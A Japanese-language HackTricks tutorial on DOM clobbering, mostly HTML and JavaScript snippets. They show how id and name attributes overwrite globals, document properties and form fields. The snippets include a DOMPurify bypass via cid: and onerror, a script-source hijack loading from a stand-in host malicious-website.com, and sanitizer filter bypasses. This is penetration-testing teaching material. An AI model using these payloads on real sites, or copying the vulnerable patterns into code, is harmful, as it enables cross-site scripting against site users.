Dom Clobbering
Reading time: 13 minutes
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
基本
HTMLタグの**id
およびname
**属性を使用して、JSコンテキスト内にグローバル変数を生成することが可能です。
<form id="x"></form>
<script>
console.log(typeof document.x) //[object HTMLFormElement]
</script>
特定の要素のみがname属性を使用してグローバルをクラッシャーできます。それらは、embed
、form
、iframe
、image
、img
、およびobject
です。
興味深いことに、form要素を使用して変数をクラッシャーすると、要素自体の**toString
値が得られます: [object HTMLFormElement]
ですが、anchorの場合、toString
はアンカーのhref
になります。したがって、a
タグを使用してクラッシャーすると、文字列として扱われるときに値を制御**できます:
<a href="controlled string" id="x"></a>
<script>
console.log(x) //controlled string
</script>
配列と属性
配列とオブジェクトの属性を上書きすることも可能です:
<a id="x">
<a id="x" name="y" href="controlled">
<script>
console.log(x[1]) //controlled
console.log(x.y) //controlled
</script></a
></a
>
3番目の属性(例:x.y.z)を上書きするには、**form
**を使用する必要があります:
<form id="x" name="y"><input id="z" value="controlled" /></form>
<form id="x"></form>
<script>
alert(x.y.z.value) //controlled
</script>
属性をさらに上書きすることはより複雑ですが、それでも可能です、iframeを使用して:
<iframe name="x" srcdoc="<a id=y href=controlled></a>"></iframe>
<style>
@import "https://google.com";
</style>
<script>
alert(x.y) //controlled
</script>
warning
style タグは iframe がレンダリングされるのに十分な時間を与えるため に使用されます。これがないと、undefined のアラートが表示されます。
より深い属性をクラッシャーするには、html エンコーディングを使用した iframe を次のように使用できます:
<iframe
name="a"
srcdoc="<iframe srcdoc='<iframe name=c srcdoc=<a/id=d&amp;#x20;name=e&amp;#x20;href=\controlled&amp;gt;<a&amp;#x20;id=d&amp;gt; name=d>' name=b>"></iframe>
<style>
@import "https://google.com";
</style>
<script>
alert(a.b.c.d.e) //controlled
</script>
フィルターバイパス
フィルターが document.getElementByID('x').attributes
のようなものでノードの プロパティ を ループ している場合、属性 .attributes
を クラッシャブル にしてフィルターを 壊す ことができます。他のDOMプロパティ、例えば tagName
、 nodeName
や parentNode
なども クラッシャブル です。
<form id="x"></form>
<form id="y">
<input name="nodeName" />
</form>
<script>
console.log(document.getElementById("x").nodeName) //FORM
console.log(document.getElementById("y").nodeName) //[object HTMLInputElement]
</script>
window.someObject
のクラッキング
JavaScriptでは、次のようなものを見つけることが一般的です:
var someObject = window.someObject || {}
ページ上のHTMLを操作することで、someObject
をDOMノードで上書きすることができ、セキュリティの脆弱性を引き起こす可能性があります。たとえば、someObject
を悪意のあるスクリプトを指すアンカー要素に置き換えることができます:
<a id=someObject href=//malicious-website.com/malicious.js></a>
脆弱なコードの例としては:
<script>
window.onload = function () {
let someObject = window.someObject || {}
let script = document.createElement("script")
script.src = someObject.url
document.body.appendChild(script)
}
</script>
この方法は、スクリプトソースを利用して不要なコードを実行します。
トリック: DOMPurify
は cid:
プロトコルを使用することを許可しており、二重引用符をURLエンコードしません。これは、実行時にデコードされるエンコードされた二重引用符を注入できることを意味します。したがって、<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:"onerror=alert(1)//">
のようなものを注入すると、HTMLエンコードされた "
が 実行時にデコードされ、属性値から エスケープ されて onerror
イベントを 作成 します。
別の技術は form
要素を使用します。特定のクライアントサイドライブラリは、新しく作成されたフォーム要素の属性を検査してクリーンアップします。しかし、フォーム内に id=attributes
の input
を追加することで、属性プロパティを効果的に上書きし、サニタイザーが実際の属性にアクセスするのを防ぎます。
このタイプのクラッキングの例をこのCTFの解説で見つけることができます。
ドキュメントオブジェクトのクラッキング
ドキュメントによると、DOMクラッキングを使用してドキュメントオブジェクトの属性を上書きすることが可能です:
Document インターフェースは named properties をサポートしています。Document オブジェクトの supported property names は、次のもので構成されます。tree order に従い、後の重複を無視し、同じ要素が両方を提供する場合、id 属性からの値が名前属性からの値の前に来ます:
- 空でない名前コンテンツ属性を持ち、ドキュメントを root とする document tree にあるすべての exposed embed、form、iframe、img、および exposed object 要素の名前コンテンツ属性の値;
- 空でない id コンテンツ属性を持ち、ドキュメントを root とする document tree にあるすべての exposed object 要素の id コンテンツ属性の値;
- 空でない id コンテンツ属性と空でない名前コンテンツ属性の両方を持ち、ドキュメントを root とする document tree にあるすべての img 要素の id コンテンツ属性の値。
この技術を使用すると、一般的に使用される document.cookie
、document.body
、document.children
などの 値を上書き したり、document.querySelector
のような Document インターフェースのメソッドを上書きしたりできます。
document.write("<img name=cookie />")
document.cookie
<img name="cookie">
typeof(document.cookie)
'object'
//Something more sanitize friendly than a img tag
document.write("<form name=cookie><input id=toString></form>")
document.cookie
HTMLCollection(2) [img, form, cookie: img]
typeof(document.cookie)
'object
要素がクラッシャーされた後の書き込み
document.getElementById()
と document.querySelector()
への呼び出しの結果は、同じ id 属性を持つ <html>
または <body>
タグを注入することで変更できます。これを行う方法は次のとおりです:
<div style="display:none" id="cdnDomain" class="x">test</div>
<p>
<html id="cdnDomain" class="x">
clobbered
</html>
<script>
alert(document.getElementById("cdnDomain").innerText) // Clobbered
alert(document.querySelector(".x").innerText) // Clobbered
</script>
</p>
さらに、これらの挿入されたHTML/bodyタグを隠すためにスタイルを使用することで、innerText
内の他のテキストからの干渉を防ぎ、攻撃の効果を高めることができます:
<div style="display:none" id="cdnDomain">test</div>
<p>existing text</p>
<html id="cdnDomain">
clobbered
</html>
<style>
p {
display: none;
}
</style>
<script>
alert(document.getElementById("cdnDomain").innerText) // Clobbered
</script>
SVGに関する調査では、<body>
タグも効果的に利用できることが明らかになりました:
<div style="display:none" id="cdnDomain">example.com</div>
<svg>
<body id="cdnDomain">
clobbered
</body>
</svg>
<script>
alert(document.getElementById("cdnDomain").innerText) // Clobbered
</script>
HTML タグが Chrome や Firefox のようなブラウザ内の SVG で機能するためには、<foreignobject>
タグが必要です:
<div style="display:none" id="cdnDomain">example.com</div>
<svg>
<foreignobject>
<html id="cdnDomain">
clobbered
</html>
</foreignobject>
</svg>
<script>
alert(document.getElementById("cdnDomain").innerText) // Clobbered
</script>
Clobbering Forms
フォーム内に新しいエントリを追加することは、いくつかのタグ内にform
属性を指定するだけで可能です。これを使用して、フォーム内に新しい値を追加したり、新しいボタンを追加して送信することもできます(クリックジャッキングや一部の.click()
JSコードの悪用):
<!--Add a new attribute and a new button to send-->
<textarea form="id-other-form" name="info">
";alert(1);//
</textarea>
<button form="id-other-form" type="submit" formaction="/edit" formmethod="post">
Click to send!
</button>
- より多くのフォーム属性についてはボタンを確認してください。
参考文献
- https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering
- https://portswigger.net/web-security/dom-based/dom-clobbering
- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker.
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。